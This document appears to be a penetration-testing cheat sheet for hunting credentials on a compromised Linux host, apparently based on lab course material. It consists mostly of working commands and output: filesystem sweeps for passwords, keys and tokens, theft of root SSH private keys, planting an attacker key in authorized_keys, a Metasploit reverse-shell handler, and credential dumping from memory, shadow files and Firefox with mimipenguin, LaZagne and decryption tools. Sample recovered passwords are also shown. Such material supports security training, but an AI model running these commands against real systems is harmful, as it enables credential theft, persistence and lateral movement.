Credentials Hunting

Files	History	Memory	Key-Rings
Configs	Logs	Cache	Browser stored credentials
Databases	Command-line History	In-memory Processing
Notes
Scripts
Source codes
Cronjobs
SSH Keys

Note down any credentials. These may be found in configuration files (.conf, .config, .xml, etc.), shell scripts, a user's bash history file, backup (.bak) files, within database files or even in text files.

Files

Configuration files	Databases	Notes
Scripts	Cronjobs	SSH keys

All in one

grep -r -i -E  "config|password|ini|passwd|pwd|hash|hashed|secret|key|token|credentials|auth|ssh|mysql|postgres|dbpass|db_password|dbuser|db_user|passwd|password|pwd|hash|hashed|secret|key|token|credentials|auth|ssh|mysql|postgres|dbpass|db_password|dbuser|db_user" / 2>/dev/null

And

find / -type f \( -iname "*config*" -o -iname "*password*" -o -iname "*ini*" -o -iname "*passwd*" -o -iname "*pwd*" -o -iname "*hash*" -o -iname "*hashed*" -o -iname "*secret*" -o -iname "*key*" -o -iname "*token*" -o -iname "*credentials*" -o -iname "*auth*" -o -iname "*ssh*" -o -iname "*mysql*" -o -iname "*postgres*" -o -iname "*dbpass*" -o -iname "*db_password*" -o -iname "*dbuser*" -o -iname "*db_user*" -o -iname "*.conf" -o -iname "*.cfg" -o -iname "*.ini" -o -iname "*.env" -o -iname "*.properties" -o -iname "*.json" -o -iname "*.yaml" -o -iname "*.yml" -o -iname "*.xml" -o -iname "*.sh" -o -iname "*.py" -o -iname "*.php" \) 2>/dev/null

Configuration Files

for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done

Credentials in config files:

We search for three words (user, password, pass) in each file with the file extension .cnf

for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done

/var

cat wp-config.php | grep 'DB_USER\|DB_PASSWORD'

define( 'DB_USER', 'wordpressuser' );
define( 'DB_PASSWORD', 'WPadmin123!' );

Spool or mail directories

find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null

/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/python3/debian_config
/etc/kbd/config
/etc/manpath.config
/boot/config-4.4.0-116-generic
/boot/grub/i386-pc/configfile.mod
/sys/devices/pci0000:00/0000:00:00.0/config
/sys/devices/pci0000:00/0000:00:01.0/config
<SNIP>

Hiting for files

$ for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done

File extension:  .xls

File extension:  .xls*

File extension:  .xltx

File extension:  .csv
/home/cry0l1t3/Docs/client-emails.csv
/home/cry0l1t3/ruby-2.7.3/gems/test-unit-3.3.4/test/fixtures/header-label.csv
/home/cry0l1t3/ruby-2.7.3/gems/test-unit-3.3.4/test/fixtures/header.csv
/home/cry0l1t3/ruby-2.7.3/gems/test-unit-3.3.4/test/fixtures/no-header.csv
/home/cry0l1t3/ruby-2.7.3/gems/test-unit-3.3.4/test/fixtures/plus.csv
/home/cry0l1t3/ruby-2.7.3/test/win32ole/orig_data.csv

File extension:  .od*
/home/cry0l1t3/Docs/document-temp.odt
/home/cry0l1t3/Docs/product-improvements.odp
/home/cry0l1t3/Docs/mgmt-spreadsheet.ods
...SNIP...

Encrypted Files :

Files - Encrypted

Find files

$ find /mnt/Finance/ -name *cred*

/mnt/Finance/Contracts/private/credentials.txt

Grep for credz

$ grep -rn /mnt/Finance/ -ie cred

/mnt/Finance/Contracts/private/credentials.txt:1:admin:SecureCredentials!
/mnt/Finance/Contracts/private/secret.txt:1:file with all credentials

Databases

for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done

See Credentials in config files to search for creds

Notes

find /home/* -type f -name "*.txt" -o ! -name "*.*"

Scripts

for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done

Cronjobs

cat /etc/crontab 

ls -la /etc/cron.*/

SSH Keys

grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"

Whenever finding SSH keys check the known_hosts file to find targets. This file contains a list of public keys for all the hosts which the user has connected to in the past and may be useful for lateral movement or to find data on a remote host that can be used to perform privilege escalation on our target.

 ls ~/.ssh

id_rsa  id_rsa.pub  known_hosts

If we have read access over the .ssh directory for a specific user, we may read their private ssh keys found in /home/user/.ssh/id_rsa or /root/.ssh/id_rsa, and use it to log in to the server. If we can read the /root/.ssh/ directory and can read the id_rsa file, we can copy it to our machine and use the -i flag to log in with it:

0xss0rz@htb[/htb]$ vim id_rsa
0xss0rz@htb[/htb]$ chmod 600 id_rsa
0xss0rz@htb[/htb]$ ssh user@10.10.10.10 -i id_rsa

root@remotehost#

If we find ourselves with write access to a users/.ssh/ directory, we can place our public key in the user's ssh directory at /home/user/.ssh/authorized_keys.

SSH (22)

ssh-keygen -f key

Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): *******
Enter same passphrase again: *******

Your identification has been saved in key
Your public key has been saved in key.pub
The key fingerprint is:
SHA256:...SNIP... user@parrot
The key's randomart image is:
+---[RSA 3072]----+
|   ..o.++.+      |
...SNIP...
|     . ..oo+.    |
+----[SHA256]-----+

Let us copy key.pub, then on the remote machine, we will add it into /root/.ssh/authorized_keys:

user@remotehost$ echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys

Now, the remote server should allow us to log in as that user by using our private key:

0xss0rz@htb[/htb]$ ssh root@10.10.10.10 -i key

root@remotehost# 

With Metasploit:

 msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.101
lhost => 192.168.1.101
msf exploit(handler) > set LPORT 443
lport => 443
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.101:443
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.1.101:443 -> 192.168.1.101:37059) at 2011-06-02 11:06:02 -0600

id
uid=0(root) gid=0(root) groups=0(root)
^Z
Background session 1? [y/N]  y

msf exploit(handler) > use post/multi/gather/ssh_creds
msf post(ssh_creds) > show options

Module options (post/multi/gather/ssh_creds):

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

msf post(ssh_creds) > set SESSION 1
session => 1
msf post(ssh_creds) > run

[*] Determining session platform and type...
[*] Checking for OpenSSH profile in: /bin/.ssh
[-] OpenSSH profile not found in /bin/.ssh
[*] Checking for OpenSSH profile in: /dev/.ssh
…snip…
[-] OpenSSH profile not found in /var/www/.ssh
[+] Downloading /root/.ssh/authorized_keys
[+] Downloading /root/.ssh/authorized_keys2
[+] Downloading /root/.ssh/id_rsa
[+] Downloading /root/.ssh/id_rsa.pub
[+] Downloading /root/.ssh/known_hosts
[+] Downloading /usr/NX/home/nx/.ssh/authorized_keys2
[+] Downloading /usr/NX/home/nx/.ssh/default.id_dsa.pub
[+] Downloading /usr/NX/home/nx/.ssh/known_hosts
[+] Downloading /usr/NX/home/nx/.ssh/restore.id_dsa.pub
[*] Post module execution completed
msf post(ssh_creds) >

Source:

Fundamentals — Ptest Method 1 documentation

EvilTree - Regex

GitHub - t3l3machus/eviltree: A python3 remake of the classic "tree" command with the additional feature of searching for user provided keywords/regex in files, highlighting those that contain matches.GitHub

• Regex to look for passwords: -x ".{0,3}passw.{0,3}[=]{1}.{0,18}"

• Keywords to look for sensitive info: -k passw,db_,admin,account,user,token

python3 eviltree.py -r /var/www -x ".{0,3}passw.{0,3}[=]{1}.{0,18}" -i -v -q -L 3
python3 eviltree.py -r / -x ".{0,3}passw.{0,3}[=]{1}.{0,18}" -i -v -q -A -f -L 3

Bash History

In the history of the commands entered on Linux distributions that use Bash as a standard shell, we find the associated files in .bash_history. Nevertheless, other files like .bashrc or .bash_profile can contain important information.

$ tail -n5 /home/*/.bash*

==> /home/cry0l1t3/.bash_history <==
vim ~/testing.txt
vim ~/testing.txt
chmod 755 /tmp/api.py
su
/tmp/api.py cry0l1t3 6mX4UP1eWH3HXK

==> /home/cry0l1t3/.bashrc <==
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi

Logs

Log File	Description
/var/log/messages	Generic system activity logs.
/var/log/syslog	Generic system activity logs.
/var/log/auth.log	(Debian) All authentication related logs.
/var/log/secure	(RedHat/CentOS) All authentication related logs.
/var/log/boot.log	Booting information.
/var/log/dmesg	Hardware and drivers related information and logs.
/var/log/kern.log	Kernel related warnings, errors and logs.
/var/log/faillog	Failed login attempts.
/var/log/cron	Information related to cron jobs.
/var/log/mail.log	All mail server related logs.
/var/log/httpd	All Apache related logs.
/var/log/mysqld.log	All MySQL server related logs.

for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done

Apache logs:

/var/log/apache2/access.log
/var/log/httpd/access_log
/var/log/apache2/error.log
/var/log/httpd/error_log

Memory

Mimipenguin

GitHub - huntergregal/mimipenguin: A tool to dump the login password from the current linux userGitHub

$ sudo python3 mimipenguin.py
[sudo] password for cry0l1t3: 

[SYSTEM - GNOME]	cry0l1t3:WLpAEXFa0SbqOHY


$ sudo bash mimipenguin.sh 
[sudo] password for cry0l1t3: 

MimiPenguin Results:
[SYSTEM - GNOME]          cry0l1t3:WLpAEXFa0SbqOHY

LaZagne

LaZagne/Linux at master · AlessandroZ/LaZagneGitHub

$ sudo python2.7 laZagne.py all

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|

------------------- Shadow passwords -----------------

[+] Hash found !!!
Login: systemd-coredump
Hash: !!:18858::::::

[+] Hash found !!!
Login: sambauser
Hash: $6$wgK4tGq7Jepa.V0g$QkxvseL.xkC3jo682xhSGoXXOGcBwPLc2CrAPugD6PYXWQlBkiwwFs7x/fhI.8negiUSPqaWyv7wC8uwsWPrx1:18862:0:99999:7:::

[+] Password found !!!
Login: cry0l1t3
Password: WLpAEXFa0SbqOHY


[+] 3 passwords have been found.
For more information launch it again with the -v option

elapsed time = 3.50091600418

Linikatz V2

GitHub - Orange-Cyberdefense/LinikatzV2: linikatz is a tool to attack AD on UNIXGitHub

Browsers - All

GitHub - moonD4rk/HackBrowserData: Extract and decrypt browser data, supporting multiple data types, runnable on various operating systems (macOS, Windows, Linux).GitHub

Browsers - Firefox

 ls -l .mozilla/firefox/ | grep default 

drwx------ 11 cry0l1t3 cry0l1t3 4096 Jan 28 16:02 1bplpd86.default-release
drwx------  2 cry0l1t3 cry0l1t3 4096 Jan 28 13:30 lfx3lvhb.default

$ cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .

{
  "nextId": 2,
  "logins": [
    {
      "id": 1,
      "hostname": "https://www.inlanefreight.com",
      "httpRealm": null,
      "formSubmitURL": "https://www.inlanefreight.com",
      "usernameField": "username",
      "passwordField": "password",
      "encryptedUsername": "MDoEEPgAAAA...SNIP...1liQiqBBAG/8/UpqwNlEPScm0uecyr",
      "encryptedPassword": "MEIEEPgAAAA...SNIP...FrESc4A3OOBBiyS2HR98xsmlrMCRcX2T9Pm14PMp3bpmE=",
      "guid": "{412629aa-4113-4ff9-befe-dd9b4ca388e2}",
      "encType": 1,
      "timeCreated": 1643373110869,
      "timeLastUsed": 1643373110869,
      "timePasswordChanged": 1643373110869,
      "timesUsed": 1
    }
  ],
  "potentiallyVulnerablePasswords": [],
  "dismissedBreachAlertsByLoginGUID": {},
  "version": 3
}

Decrypt:

GitHub - unode/firefox_decrypt: Firefox Decrypt is a tool to extract passwords from Mozilla (Firefox™, Waterfox™, Thunderbird®, SeaMonkey®) profilesGitHub

$ python3.9 firefox_decrypt.py

Select the Mozilla profile you wish to decrypt
1 -> lfx3lvhb.default
2 -> 1bplpd86.default-release

2

Website:   https://testing.dev.inlanefreight.com
Username: 'test'
Password: 'test'

Website:   https://www.inlanefreight.com
Username: 'cry0l1t3'
Password: 'FzXUxJemKm6g2lGh'

Or with Lazagne

$ python3 laZagne.py browsers

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|

------------------- Firefox passwords -----------------

[+] Password found !!!
URL: https://testing.dev.inlanefreight.com
Login: test
Password: test

[+] Password found !!!
URL: https://www.inlanefreight.com
Login: cry0l1t3
Password: FzXUxJemKm6g2lGh


[+] 2 passwords have been found.
For more information launch it again with the -v option

elapsed time = 0.2310788631439209

Or Netexec - CME module firefox

Apr 09, 2024 - 08:28:05 (EDT)] exegol-CPTS /workspace # cme smb -L            
[*] firefox                   Dump credentials from Firefox

Or Metasploit

 meterpreter > run post/multi/gather/firefox_creds